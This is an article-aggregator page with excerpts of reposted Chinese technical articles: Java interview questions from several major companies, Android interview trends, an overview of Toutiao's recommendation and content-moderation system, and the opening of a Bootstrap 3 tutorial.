...,bean生成的具体步骤,ioc注入的方式spring何时创建- applicationContextlistener是监听哪个事件? 介绍ConcurrentHashMap原理,用的是哪种锁,segment有没可能增大? 解释mysql索引、b树,为啥不用平衡二叉树、红黑树 Zookeeper如何同步配置 3.3 三面 Java线程池ThreadPoolEcecutor参数,基本参数,使用场景 MySQL的ACID讲一下,延伸到隔离级别 dubbo的实现原理,说说RPC的要点 GC停顿原因,如何降低停顿? JVM如何调优、参数怎么调? 如何用工具分析jvm状态(visualVM看堆中对象的分配,对象间的引用、是否有内存泄漏,jstack看线程状态、是否死锁等等) 描述一致性hash算法 分布式雪崩场景如何避免? 再谈谈消息队列 04 抖音Java 三面 4.1 一面: hashmap,怎么扩容,怎么处理数据冲突? 怎么高效率的实现数据迁移? Linux的共享内存如何实现,大概说了一下。 socket网络编程,说一下TCP的三次握手和四次挥手同步IO和异步IO的区别? Java GC机制?GC Roots有哪些? 红黑树讲一下,五个特性,插入删除操作,时间复杂度? 快排的时间复杂度,最坏情况呢,最好情况呢,堆排序的时间复杂度呢,建堆的复杂度是多少 4.2 二面: 自我介绍,主要讲讲做了什么和擅长什么 设计模式了解哪些? AtomicInteger怎么实现原子修改的? ConcurrentHashMap 在Java7和Java8中的区别? 为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? redis数据结构? redis数据淘汰机制? 4.3 三面(约五十分钟): mysql实现事务的原理(MVCC) MySQL数据主从同步是如何实现的? MySQL索引的实现,innodb的索引,b+树索引是怎么实现的,为什么用b+树做索引节点,一个节点存了多少数据,怎么规定大小,与磁盘页对应。 如果Redis有1亿个key,使用keys命令是否会影响线上服务? Redis的持久化方式,aod和rdb,具体怎么实现,追加日志和备份文件,底层实现原理的话知道么? 遇到最大困难是什么?怎么克服? 未来的规划是什么? 你想问我什么? 05 百度三面 5.1 百度一面 自我介绍 Java中的多态 为什么要同时重写hashcode和equals Hashmap的原理 Hashmap如何变线程安全,每种方式的优缺点 垃圾回收机制 Jvm的参数你知道的说一下 设计模式了解的说一下啊 手撕一个单例模式 手撕算法:反转单链表 手撕算法:实现类似微博子结构的数据结构,输入一系列父子关系,输出一个类似微博评论的父子结构图 手写java多线程 手写java的soeket编程,服务端和客户端 手撕算法: 爬楼梯,写出状态转移方程 智力题:时针分针什么时候重合 5.2 百度二面(现场) 自我介绍 项目介绍 服务器如何负载均衡,有哪些算法,哪个比较好,一致性哈希原理,怎么避免DDOS攻击请求打到少数机器。 TCP连接中的三次握手和四次挥手,四次挥手的最后一个ack的作用是什么,为什么要time wait,为什么是2msl。 数据库的备份和恢复怎么实现的,主从复制怎么做的,什么时候会出现数据不一致,如何解决。 Linux查看cpu占用率高的进程 手撕算法:给定一个数字三角形,找到从顶部到底部的最小路径和。每一步可以移动到下面一行的相邻数字上。 然后继续在这个问题上扩展 求出最短那条的路径 递归求出所有的路径 设计模式讲一下熟悉的 会不会滥用设计模式 多线程条件变量为什么要在while体里 你遇到什么挫折,怎么应对和处理 5.3 百度三面(现场) 自我介绍 项目介绍 Redis的特点 Redis的持久化怎么做,aof和rdb,有什么区别,有什么优缺点。 Redis使用哨兵部署会有什么问题,我说需要扩容的话还是得集群部署。 说一下JVM内存模型把,有哪些区,分别干什么的 说一下gc算法,分代回收说下 MySQL的引擎讲一下,有什么区别,使用场景呢 分布式事务了解么 反爬虫的机制,有哪些方式 06 蚂蚁中间件团队面试题 6.1 蚂蚁中间件一面: 自我介绍 JVM垃圾回收算法和垃圾回收器有哪些,最新的JDK采用什么算法。 新生代和老年代的回收机制。 讲一下ArrayList和linkedlist的区别,ArrayList与HashMap的扩容方式。 Concurrenthashmap1.8后的改动。 Java中的多线程,以及线程池的增长策略和拒绝策略了解么。 Tomcat的类加载器了解么 Spring的ioc和aop,Springmvc的基本架构,请求流程。 HTTP协议与Tcp有什么区别,http1.0和2.0的区别。 Java的网络编程,讲讲NIO的实现方式,与BIO的区别,以及介绍常用的NIO框架。 索引什么时候会失效变成全表扫描 介绍下分布式的paxos和raft算法 6.2 蚂蚁中间件二面 你在项目中怎么用到并发的。 消息队列的使用场景,谈谈Kafka。 你说了解分布式服务,那么你怎么理解分布式服务。 Dubbo和Spring Clound的区别,以及使用场景。 讲一下docker的实现原理,以及与JVM的区别。 MongoDB、Redis和Memcached的应用场景,各自优势 MongoDB有事务吗 Redis说一下sorted set底层原理 讲讲Netty为什么并发高,相关的核心组件有哪些 6.3 蚂蚁中间件三面 完整的画一个分布式集群部署图,从负载均衡到后端数据库集群。 分布式锁的方案,Redis和Zookeeper哪个好,如果是集群部署,高并发情况下哪个性能更好。 分布式系统的全局id如何实现。 数据库万级变成亿级,你如何来解决。 常见的服务器雪崩是由什么引起的,如何来防范。 异地容灾怎么实现 常用的高并发技术解决方案有哪些,以及对应的解决步骤。 07 京东4面(Java研发) 7.1 一面(基础面:约1小时) 自我介绍,主要讲讲做了什么和擅长什么 springmvc和spring-boot区别 @Autowired的实现原理 Bean的默认作用范围是什么?其他的作用范围? 索引是什么概念有什么作用?MySQL里主要有哪些索引结构?哈希索引和B+树索引比较? Java线程池的原理?线程池有哪些?线程池工厂有哪些线程池类型,及其线程池参数是什么? hashmap原理,处理哈希冲突用的哪种方法? 还知道什么处理哈希冲突的方法? Java GC机制?GC Roots有哪些? Java怎么进行垃圾回收的?什么对象会进老年代?垃圾回收算法有哪些?为什么新生代使用复制算法? HashMap的时间复杂度?HashMap中Hash冲突是怎么解决的?链表的上一级结构是什么?Java8中的HashMap有什么变化?红黑树需要比较大小才能进行插入,是依据什么进行比较的?其他Hash冲突解决方式? hash和B+树的区别?分别应用于什么场景?哪个比较好? 项目里有个数据安全的,aes和md5的区别?详细点 7.2 二面(问数据库较多) 自我介绍 为什么MyISAM查询性能好? 事务特性(acid) 隔离级别 SQL慢查询的常见优化步骤? 说下乐观锁,悲观锁(select for update),并写出sql实现 TCP协议的三次握手和四次挥手过程? 用到过哪些rpc框架 数据库连接池怎么实现 Java web过滤器的生命周期 7.3 三面(综合面;约一个小时) 自我介绍。 ConcurrentHashMap 在Java7和Java8中的区别?为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? 加锁有什么机制? ThreadLocal?应用场景? 数据库水平切分,垂直切分的设计思路和切分顺序 Redis如何解决key冲突 soa和微服务的区别? 单机系统演变为分布式系统,会涉及到哪些技术的调整?请从前面负载到后端详细描述。 设计一个秒杀系统? 7.4 四面(HR面) 你自己最大优势和劣势是什么 平时遇见过什么样的挑战,怎么去克服的 工作中遇见了技术解决不了的问题,你的应对思路? 你的兴趣爱好? 未来的职业规划是什么? 08 美团java高级开发3面 8.1 美团一面 自我介绍 项目介绍 Redis介绍 了解redis源码么 了解redis集群么 Hashmap的原理,增删的情况后端数据结构如何位移 hashmap容量为什么是2的幂次 hashset的源码 object类你知道的方法 hashcode和equals 你重写过hashcode和equals么,要注意什么 假设现在一个学生类,有学号和姓名,我现在hashcode方法重写的时候,只将学号参与计算,会出现什么情况? 往set里面put一个学生对象,然后将这个学生对象的学号改了,再put进去,可以放进set么?并讲出为什么 Redis的持久化?有哪些方式,原理是什么? 讲一下稳定的排序算法和不稳定的排序算法 讲一下快速排序的思想 8.2 美团二面 自我介绍 讲一下数据的acid 什么是一致性 什么是隔离性 Mysql的隔离级别 每个隔离级别是如何解决 Mysql要加上nextkey锁,语句该怎么写 Java的内存模型,垃圾回收 线程池的参数 每个参数解释一遍 然后面试官设置了每个参数,给了是个线程,让描述出完整的线程池执行的流程 Nio和IO有什么区别 Nio和aio的区别 Spring的aop怎么实现 Spring的aop有哪些实现方式 动态代理的实现方式和区别 Linux了解么 怎么查看系统负载 Cpu load的参数如果为4,描述一下现在系统处于什么情况 Linux,查找磁盘上最大的文件的命令 Linux,如何查看系统日志文件 手撕算法:leeetcode原题 22,Generate Parentheses,给定 n 对括号,请- 写一个函数以将其生成新的括号组合,并返回所有组合结果。 8.3 美团三面(现场) 三面没怎么问技术,问了很多技术管理方面的问题 自我介绍 项目介绍 怎么管理项目成员 当意见不一致时,如何沟通并说服开发成员,并举个例子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 [外链图片转存中…(img-SFREePIJ-1624074891834)] [外链图片转存中…(img-5kF3pkiC-1624074891834)] [外链图片转存中…(img-HDVXfOMR-1624074891835)] [外链图片转存中…(img-RyaAC5jy-1624074891836)] [外链图片转存中…(img-iV32C5Ok-1624074891837)] 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_57285325/article/details/118051767。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 23:43:59
85
转载
转载文章
...别针对Android设备的特性进行了深度优化,进一步提升了应用的流畅度和用户体验。 而对于面试中的XMPP协议通信技术,尽管仍被广泛采用,但近年来WebRTC和MQTT等新兴通信协议也逐渐崭露头角,特别是在实时音视频通话及物联网场景中,它们因更低延迟和更高效率受到业界青睐。因此,Android开发者应紧跟行业趋势,了解并掌握多种通信协议及其应用场景,以适应不断变化的技术需求。 总的来说,无论是面试技巧还是技术储备,持续学习和积累都是提升竞争力的关键。在实际工作中深入理解Android系统原理,关注行业最新动态和技术演进方向,将有助于求职者更好地应对各类面试挑战,并在未来的职业道路上取得成功。
2023-06-19 17:42:52
336
转载
转载文章
...。 上图是一个实体词识别算法的case。基于分词结果和词性标注选取候选,期间可能需要根据知识库做一些拼接,有些实体是几个词的组合,要确定哪几个词结合在一起能映射实体的描述。 如果结果映射多个实体还要通过词向量、topic分布甚至词频本身等去歧,最后计算一个相关性模型。 三、用户标签 内容分析和用户标签是推荐系统的两大基石。内容分析涉及到机器学习的内容多一些,相比而言,用户标签工程挑战更大。 今日头条常用的用户标签包括用户感兴趣的类别和主题、关键词、来源、基于兴趣的用户聚类以及各种垂直兴趣特征(车型,体育球队,股票等)。还有性别、年龄、地点等信息。 性别信息通过用户第三方社交账号登录得到。年龄信息通常由模型预测,通过机型、阅读时间分布等预估。 常驻地点来自用户授权访问位置信息,在位置信息的基础上通过传统聚类的方法拿到常驻点。 常驻点结合其他信息,可以推测用户的工作地点、出差地点、旅游地点。这些用户标签非常有助于推荐。 当然最简单的用户标签是浏览过的内容标签。但这里涉及到一些数据处理策略。 主要包括: 一、过滤噪声。通过停留时间短的点击,过滤标题党。 二、热点惩罚。对用户在一些热门文章(如前段时间PG One的新闻)上的动作做降权处理。理论上,传播范围较大的内容,置信度会下降。 三、时间衰减。用户兴趣会发生偏移,因此策略更偏向新的用户行为。因此,随着用户动作的增加,老的特征权重会随时间衰减,新动作贡献的特征权重会更大。 四、惩罚展现。如果一篇推荐给用户的文章没有被点击,相关特征(类别,关键词,来源)权重会被惩罚。当 然同时,也要考虑全局背景,是不是相关内容推送比较多,以及相关的关闭和dislike信号等。 用户标签挖掘总体比较简单,主要还是刚刚提到的工程挑战。头条用户标签第一版是批量计算框架,流程比较简单,每天抽取昨天的日活用户过去两个月的动作数据,在Hadoop集群上批量计算结果。 但问题在于,随着用户高速增长,兴趣模型种类和其他批量处理任务都在增加,涉及到的计算量太大。 2014年,批量处理任务几百万用户标签更新的Hadoop任务,当天完成已经开始勉强。集群计算资源紧张很容易影响其它工作,集中写入分布式存储系统的压力也开始增大,并且用户兴趣标签更新延迟越来越高。 面对这些挑战。2014年底今日头条上线了用户标签Storm集群流式计算系统。改成流式之后,只要有用户动作更新就更新标签,CPU代价比较小,可以节省80%的CPU时间,大大降低了计算资源开销。 同时,只需几十台机器就可以支撑每天数千万用户的兴趣模型更新,并且特征更新速度非常快,基本可以做到准实时。这套系统从上线一直使用至今。 当然,我们也发现并非所有用户标签都需要流式系统。像用户的性别、年龄、常驻地点这些信息,不需要实时重复计算,就仍然保留daily更新。 四、评估分析 上面介绍了推荐系统的整体架构,那么如何评估推荐效果好不好? 有一句我认为非常有智慧的话,“一个事情没法评估就没法优化”。对推荐系统也是一样。 事实上,很多因素都会影响推荐效果。比如侯选集合变化,召回模块的改进或增加,推荐特征的增加,模型架构的改进在,算法参数的优化等等,不一一举例。 评估的意义就在于,很多优化最终可能是负向效果,并不是优化上线后效果就会改进。 全面的评估推荐系统,需要完备的评估体系、强大的实验平台以及易用的经验分析工具。 所谓完备的体系就是并非单一指标衡量,不能只看点击率或者停留时长等,需要综合评估。 很多公司算法做的不好,并非是工程师能力不够,而是需要一个强大的实验平台,还有便捷的实验分析工具,可以智能分析数据指标的置信度。 一个良好的评估体系建立需要遵循几个原则,首先是兼顾短期指标与长期指标。我在之前公司负责电商方向的时候观察到,很多策略调整短期内用户觉得新鲜,但是长期看其实没有任何助益。 其次,要兼顾用户指标和生态指标。既要为内容创作者提供价值,让他更有尊严的创作,也有义务满足用户,这两者要平衡。 还有广告主利益也要考虑,这是多方博弈和平衡的过程。 另外,要注意协同效应的影响。实验中严格的流量隔离很难做到,要注意外部效应。 强大的实验平台非常直接的优点是,当同时在线的实验比较多时,可以由平台自动分配流量,无需人工沟通,并且实验结束流量立即回收,提高管理效率。 这能帮助公司降低分析成本,加快算法迭代效应,使整个系统的算法优化工作能够快速往前推进。 这是头条A/B Test实验系统的基本原理。首先我们会做在离线状态下做好用户分桶,然后线上分配实验流量,将桶里用户打上标签,分给实验组。 举个例子,开一个10%流量的实验,两个实验组各5%,一个5%是基线,策略和线上大盘一样,另外一个是新的策略。 实验过程中用户动作会被搜集,基本上是准实时,每小时都可以看到。但因为小时数据有波动,通常是以天为时间节点来看。动作搜集后会有日志处理、分布式统计、写入数据库,非常便捷。 在这个系统下工程师只需要设置流量需求、实验时间、定义特殊过滤条件,自定义实验组ID。系统可以自动生成:实验数据对比、实验数据置信度、实验结论总结以及实验优化建议。 当然,只有实验平台是远远不够的。线上实验平台只能通过数据指标变化推测用户体验的变化,但数据指标和用户体验存在差异,很多指标不能完全量化。 很多改进仍然要通过人工分析,重大改进需要人工评估二次确认。 五、内容安全 最后要介绍今日头条在内容安全上的一些举措。头条现在已经是国内最大的内容创作与分发凭条,必须越来越重视社会责任和行业领导者的责任。如果1%的推荐内容出现问题,就会产生较大的影响。 现在,今日头条的内容主要来源于两部分,一是具有成熟内容生产能力的PGC平台 一是UGC用户内容,如问答、用户评论、微头条。这两部分内容需要通过统一的审核机制。如果是数量相对少的PGC内容,会直接进行风险审核,没有问题会大范围推荐。 UGC内容需要经过一个风险模型的过滤,有问题的会进入二次风险审核。审核通过后,内容会被真正进行推荐。这时如果收到一定量以上的评论或者举报负向反馈,还会再回到复审环节,有问题直接下架。 整个机制相对而言比较健全,作为行业领先者,在内容安全上,今日头条一直用最高的标准要求自己。 分享内容识别技术主要鉴黄模型,谩骂模型以及低俗模型。今日头条的低俗模型通过深度学习算法训练,样本库非常大,图片、文本同时分析。 这部分模型更注重召回率,准确率甚至可以牺牲一些。谩骂模型的样本库同样超过百万,召回率高达95%+,准确率80%+。如果用户经常出言不讳或者不当的评论,我们有一些惩罚机制。 泛低质识别涉及的情况非常多,像假新闻、黑稿、题文不符、标题党、内容质量低等等,这部分内容由机器理解是非常难的,需要大量反馈信息,包括其他样本信息比对。 目前低质模型的准确率和召回率都不是特别高,还需要结合人工复审,将阈值提高。目前最终的召回已达到95%,这部分其实还有非常多的工作可以做。别平台。 如果需要机器学习视频,可以在公众号后台聊天框回复【机器学习】,可以免费获取编程视频 。 你可能还喜欢 数学在机器学习中到底有多重要? AI 新手学习路线,附上最详细的资源整理! 提升机器学习数学基础,推荐7本书 酷爆了!围观2020年十大科技趋势 机器学习该如何入门,听听过来人的经验! 长按加入T圈,接触人工智能 觉得内容还不错的话,给我点个“在看”呗 本篇文章为转载内容。原文链接:https://blog.csdn.net/itcodexy/article/details/109574173。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-13 09:21:23
322
转载
转载文章
... 概览 1.1 移动设备优先 1.2 Normalize.css 1.3 布局容器 2 栅格系统 2.1 栅格系统简介 2.2 栅格参数 2.3 栅格系统使用 2.4 不同屏幕设置不同宽度 2.5 列偏移 2.6 列位置移动 3 排版 3.1 标题 3.2 突出显示 3.3 对齐 3.4 改变大小写 3.5 引用 3.6 列表 4 代码 4.1 内联代码 4.2 用户输入 4.3 代码块 4.3 变量 4.4 程序输出 5 表格 5.1 基本 5.2 条纹状表格 5.3 带边框的表格 5.4 鼠标悬停 5.5 紧缩表格 5.6 状态类 5.7 响应式表格 6 表单 6.1 基本实例 6.2 内联表单 6.3 水平排列的表单 6.4 表单控件 输入框 文本域 多选和单选框 下拉列表 静态内容 帮助文字 校验状态 添加额外的图标 控件尺寸 7 按钮 7.1 可作为按钮使用的标签或元素 7.2 预定义样式 7.3 尺寸 7.4 激活状态 7.5 禁用状态 8 图片 8.1 响应式图片 8.2 图片形状 9 辅助类 9.1 文本颜色 9.2 背景色 9.3 三角符号 9.4 浮动 9.5 让内容块居中 9.6 清除浮动 9.7 显示或隐藏内容 9.10 图片替换 10 响应式工具 10.1 不同视口下隐藏显示 10.2 打印类 1 BootStrap基础 1 什么是BootStrap 由Twitter的设计师Mark Otto和Jacob Thornton合作开发,是一个CSS/HTML框架简洁、直观、强悍的前端开发框架,让web开发更迅速、简单。 2 BootStrap的版本 BootStrap2 BootStrap3 BootStrap4 3 BootStrap 下载 用于生产环境的Bootstrap Bootstrap Less 源码Bootstrap Sass 源码 4 CDN服务 <!-- 新 Bootstrap 核心 CSS 文件 --><link rel="stylesheet" href="http://cdn.bootcss.com/bootstrap/3.3.5/css/bootstrap.min.css"><!-- 可选的Bootstrap主题文件(一般不用引入) --><link rel="stylesheet" href="http://cdn.bootcss.com/bootstrap/3.3.5/css/bootstrap-theme.min.css"><!-- jQuery文件。务必在bootstrap.min.js 之前引入 --><script src="http://cdn.bootcss.com/jquery/1.11.3/jquery.min.js"></script><!-- 最新的 Bootstrap 核心 JavaScript 文件 --><script src="http://cdn.bootcss.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> 5 目录结构 生产环境版 bootstrap/├── css/│ ├── bootstrap.css│ ├── bootstrap.css.map│ ├── bootstrap.min.css│ ├── bootstrap-theme.css│ ├── bootstrap-theme.css.map│ └── bootstrap-theme.min.css├── js/│ ├── bootstrap.js│ └── bootstrap.min.js└── fonts/├── glyphicons-halflings-regular.eot├── glyphicons-halflings-regular.svg├── glyphicons-halflings-regular.ttf├── glyphicons-halflings-regular.woff└── glyphicons-halflings-regular.woff2 6 基本模板 <!DOCTYPE html><html lang="zh-CN"><head><!-- 上述3个meta标签必须放在最前面,任何其他内容都必须跟随其后! --><title>Bootstrap 101 Template</title><!-- Bootstrap --><link href="css/bootstrap.min.css" rel="stylesheet"><!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --><!-- WARNING: Respond.js doesn't work if you view the page via file:// --><!--[if lt IE 9]><script src="//cdn.bootcss.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="//cdn.bootcss.com/respond.js/1.4.2/respond.min.js"></script><![endif]--></head><body><h1>你好,世界!</h1><!-- jQuery (necessary for Bootstrap's JavaScript plugins) --><script src="//cdn.bootcss.com/jquery/1.11.3/jquery.min.js"></script><!-- Include all compiled plugins (below), or include individual files as needed --><script src="js/bootstrap.min.js"></script></body></html> 7 浏览器支持 手机浏览器 ——- Chrome Firefox Safari Android Supported Supported N/A iOS Supported Supported Supported 桌面浏览器 ——— Chrome Firefox Internet Explorer Opera Safari Mac Supported Supported N/A Supported Supported Windows Supported Supported Supported Supported Not supported 8 浏览器兼容 让 IE8 支持H5新标签 页面中引入respond.js <!-- 注意: 页面必须通过服务器访问 --><script src="https://cdn.bootcss.com/respond.js/1.4.2/respond.min.js"></script> IE兼容模式 页面中添加如下代码 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 国产浏览器切换webkit内核 页面中添加如下代码 <meta name="renderer" content="webkit"> 2 BootStrap布局 1 概览 1.1 移动设备优先 为了确保适当的绘制和触屏缩放,需要在 <head> 之中添加 viewport 元数据标签。 在移动设备浏览器上,通过为视口(viewport)设置 meta 属性为 user-scalable=no 可以禁用其缩放(zooming)功能。这样禁用缩放功能后,用户只能滚动屏幕,就能让你的网站看上去更像原生应用的感觉。注意,这种方式我们并不推荐所有网站使用,还是要看你自己的情况而定! 1.2 Normalize.css BootStrap内置了Normalize.css 1.3 布局容器 Bootstrap 需要为页面内容和栅格系统包裹一个 .container 容器。我们提供了两个作此用处的类。注意,由于 padding 等属性的原因,这两种 容器类不能互相嵌套。 .container 类用于固定宽度并支持响应式布局的容器。 <div class="container">...</div> .container-fluid 类用于 100% 宽度,占据全部视口(viewport)的容器。 <div class="container-fluid">...</div> 2 栅格系统 Bootstrap 提供了一套响应式、移动设备优先的流式栅格系统,随着屏幕或视口(viewport)尺寸的增加,系统会自动分为最多12列 2.1 栅格系统简介 栅格系统用于通过一系列的行(row)与列(column)的组合来创建页面布局,你的内容就可以放入这些创建好的布局中。下面就介绍一下 Bootstrap 栅格系统的工作原理: “行(row)”必须包含在 .container (固定宽度)或 .container-fluid (100% 宽度)中,以便为其赋予合适的排列(aligment)和内补(padding)。 通过“行(row)”在水平方向创建一组“列(column)”。 你的内容应当放置于“列(column)”内,并且,只有“列(column)”可以作为行(row)”的直接子元素。 类似 .row 和 .col-xs-4 这种预定义的类,可以用来快速创建栅格布局。Bootstrap 源码中定义的 mixin 也可以用来创建语义化的布局。 通过为“列(column)”设置 padding 属性,从而创建列与列之间的间隔(gutter)。通过为 .row 元素设置负值 margin 从而抵消掉为 .container 元素设置的 padding,也就间接为“行(row)”所包含的“列(column)”抵消掉了padding。 负值的 margin就是下面的示例为什么是向外突出的原因。在栅格列中的内容排成一行。 栅格系统中的列是通过指定1到12的值来表示其跨越的范围。例如,三个等宽的列可以使用三个 .col-xs-4 来创建。 如果一“行(row)”中包含了的“列(column)”大于 12,多余的“列(column)”所在的元素将被作为一个整体另起一行排列。 栅格类适用于与屏幕宽度大于或等于分界点大小的设备 , 并且针对小屏幕设备覆盖栅格类。 因此,在元素上应用任何 .col-md-栅格类适用于与屏幕宽度大于或等于分界点大小的设备 , 并且针对小屏幕设备覆盖栅格类。 因此,在元素上应用任何 .col-lg-不存在, 也影响大屏幕设备。 2.2 栅格参数 超小屏幕 手机 (<768px) 小屏幕 平板 (≥768px) 中等屏幕 桌面显示器 (≥992px) 大屏幕 大桌面显示器 (≥1200px) .container 最大宽度 None (自动) 750px 970px 1170px 类前缀 .col-xs- .col-sm- .col-md- .col-lg- 最大列(column)宽 自动 ~62px ~81px ~97px 2.3 栅格系统使用 使用单一的一组 .col-md- 栅格类,就可以创建一个基本的栅格系统,在手机和平板设备上一开始是堆叠在一起的(超小屏幕到小屏幕这一范围),在桌面(中等)屏幕设备上变为水平排列。所有“列(column)必须放在 ” .row 内。 <div class="row"><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div><div class="col-md-1">.col-md-1</div></div><div class="row"><div class="col-md-8">.col-md-8</div><div class="col-md-4">.col-md-4</div></div><div class="row"><div class="col-md-4">.col-md-4</div><div class="col-md-4">.col-md-4</div><div class="col-md-4">.col-md-4</div></div><div class="row"><div class="col-md-6">.col-md-6</div><div class="col-md-6">.col-md-6</div></div> 2.4 不同屏幕设置不同宽度 <div class="row"><div class="col-xs-12 col-sm-6 col-md-8">.col-xs-12 .col-sm-6 .col-md-8</div><div class="col-xs-6 col-md-4">.col-xs-6 .col-md-4</div></div><div class="row"><div class="col-xs-6 col-sm-4">.col-xs-6 .col-sm-4</div><div class="col-xs-6 col-sm-4">.col-xs-6 .col-sm-4</div><!-- Optional: clear the XS cols if their content doesn't match in height --><div class="clearfix visible-xs-block"></div><div class="col-xs-6 col-sm-4">.col-xs-6 .col-sm-4</div></div> 2.5 列偏移 使用 .col-md-offset- 类可以将列向右侧偏移。这些类实际是通过使用 选择器为当前元素增加了左侧的边距(margin)。例如,.col-md-offset-4 类将 .col-md-4 元素向右侧偏移了4个列(column)的宽度。 <div class="row"><div class="col-md-4">.col-md-4</div><div class="col-md-4 col-md-offset-4">.col-md-4 .col-md-offset-4</div></div><div class="row"><div class="col-md-3 col-md-offset-3">.col-md-3 .col-md-offset-3</div><div class="col-md-3 col-md-offset-3">.col-md-3 .col-md-offset-3</div></div><div class="row"><div class="col-md-6 col-md-offset-3">.col-md-6 .col-md-offset-3</div></div> 2.6 列位置移动 通过使用 .col-md-push- 和 .col-md-pull- 类就可以很容易的改变列(column)的顺序。 <div class="row"><div class="col-md-9 col-md-push-3">.col-md-9 .col-md-push-3</div><div class="col-md-3 col-md-pull-9">.col-md-3 .col-md-pull-9</div></div> 3 排版 3.1 标题 HTML 中的所有标题标签,<h1> 到 <h6> 均可使用。另外,还提供了 .h1 到 .h6 类,为的是给内联(inline)属性的文本赋予标题的样式。 <h1>h1. Bootstrap heading</h1><h2>h2. Bootstrap heading</h2><h3>h3. Bootstrap heading</h3><h4>h4. Bootstrap heading</h4><h5>h5. Bootstrap heading</h5><h6>h6. Bootstrap heading</h6> 在标题内还可以包含 <small> 标签或赋予 .small 类的元素,可以用来标记副标题。 <h1>h1. Bootstrap heading <small>Secondary text</small></h1><h2>h2. Bootstrap heading <small>Secondary text</small></h2><h3>h3. Bootstrap heading <small>Secondary text</small></h3><h4>h4. Bootstrap heading <small>Secondary text</small></h4><h5>h5. Bootstrap heading <small>Secondary text</small></h5><h6>h6. Bootstrap heading <small>Secondary text</small></h6> 3.2 突出显示 通过添加 .lead 类可以让段落突出显示。 <p class="lead">...</p> 3.3 对齐 <p class="text-left">Left aligned text.</p><p class="text-center">Center aligned text.</p><p class="text-right">Right aligned text.</p><p class="text-justify">Justified text.</p><p class="text-nowrap">No wrap text.</p> 3.4 改变大小写 <p class="text-lowercase">Lowercased text.</p><p class="text-uppercase">Uppercased text.</p><p class="text-capitalize">Capitalized text.</p> 3.5 引用 <blockquote><p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.</p></blockquote><blockquote><p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.</p><footer>Someone famous in <cite title="Source Title">Source Title</cite></footer></blockquote><blockquote class="blockquote-reverse">...</blockquote> 3.6 列表 无样式列表 <ul class="list-unstyled"><li>...</li></ul> 内联列表 <ul class="list-inline"><li>...</li></ul> 水平排列的内联列表 <dl class="dl-horizontal"><dt>...</dt><dd>...</dd></dl> 4 代码 4.1 内联代码 通过 <code> 标签包裹内联样式的代码片段。 For example, <code><section></code> should be wrapped as inline. 4.2 用户输入 通过 <kbd> 标签标记用户通过键盘输入的内容。 To switch directories, type <kbd>cd</kbd> followed by the name of the directory.<br>To edit settings, press <kbd><kbd>ctrl</kbd> + <kbd>,</kbd></kbd> 4.3 代码块 多行代码可以使用 <pre> 标签。为了正确的展示代码,注意将尖括号做转义处理。 <pre><p>Sample text here...</p></pre> 还可以使用 .pre-scrollable 类,其作用是设置 max-height 为 350px ,并在垂直方向展示滚动条。 4.3 变量 通过 <var> 标签标记变量。 <var>y</var> = <var>m</var><var>x</var> + <var>b</var> 4.4 程序输出 通过 <samp> 标签来标记程序输出的内容。 <samp>This text is meant to be treated as sample output from a computer program.</samp> 5 表格 5.1 基本 为任意 <table> 标签添加 .table 类可以为其赋予基本的样式 <table class="table">...</table> 5.2 条纹状表格 <table class="table table-striped">...</table> 5.3 带边框的表格 <table class="table table-bordered">...</table> 5.4 鼠标悬停 <table class="table table-hover">...</table> 5.5 紧缩表格 <table class="table table-condensed">...</table> 5.6 状态类 通过这些状态类可以为行或单元格设置颜色。 Class 描述 .active 鼠标悬停在行或单元格上时所设置的颜色 .success 标识成功或积极的动作 .info 标识普通的提示信息或动作 .warning 标识警告或需要用户注意 .danger 标识危险或潜在的带来负面影响的动作 5.7 响应式表格 将任何 .table 元素包裹在 .table-responsive 元素内,即可创建响应式表格,其会在小屏幕设备上(小于768px)水平滚动。当屏幕大于 768px 宽度时,水平滚动条消失。 6 表单 6.1 基本实例 单独的表单控件会被自动赋予一些全局样式。所有设置了 .form-control 类的 